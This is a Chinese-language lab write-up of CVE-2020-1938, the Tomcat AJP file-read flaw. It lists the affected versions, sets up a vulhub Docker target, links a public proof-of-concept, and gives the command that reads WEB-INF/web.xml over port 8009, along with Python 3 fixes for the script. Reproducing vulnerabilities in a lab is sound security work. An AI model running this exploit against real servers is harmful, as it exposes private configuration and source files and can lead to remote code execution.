0x01 漏洞简介
Tomcat 服务器作一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。
CVE-2020-1938漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。
影响范围
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
0x02 漏洞环境
使用vulnhub快速搭建靶场
代码语言:javascript复制cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d
环境启动后,访问http://your-ip:8080
即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
0x03 漏洞利用
目前,在网上已经公布了该漏洞的POC:
代码语言:javascript复制https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
将POC下载到本地,使用如下命令读取WEB-INF/web.xml文件:
代码语言:javascript复制python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.126.130 -p 8009 -f WEB-INF/web.xml
该POC脚本是python2编写的,如果想用python3运行,只需修改如下两处:
代码语言:javascript复制self.socket.makefile("rb", bufsize=0) 修改为 self.socket.makefile("rb", buffering=0)
print("".join([d.data for d in data])) 修改为 print("".join([d.data.decode() for d in data]))
成功读取WEB-INF/web.xml文件,证明漏洞存在
参考文章
- https://blog.csdn.net/qq294235493/article/details/104494266/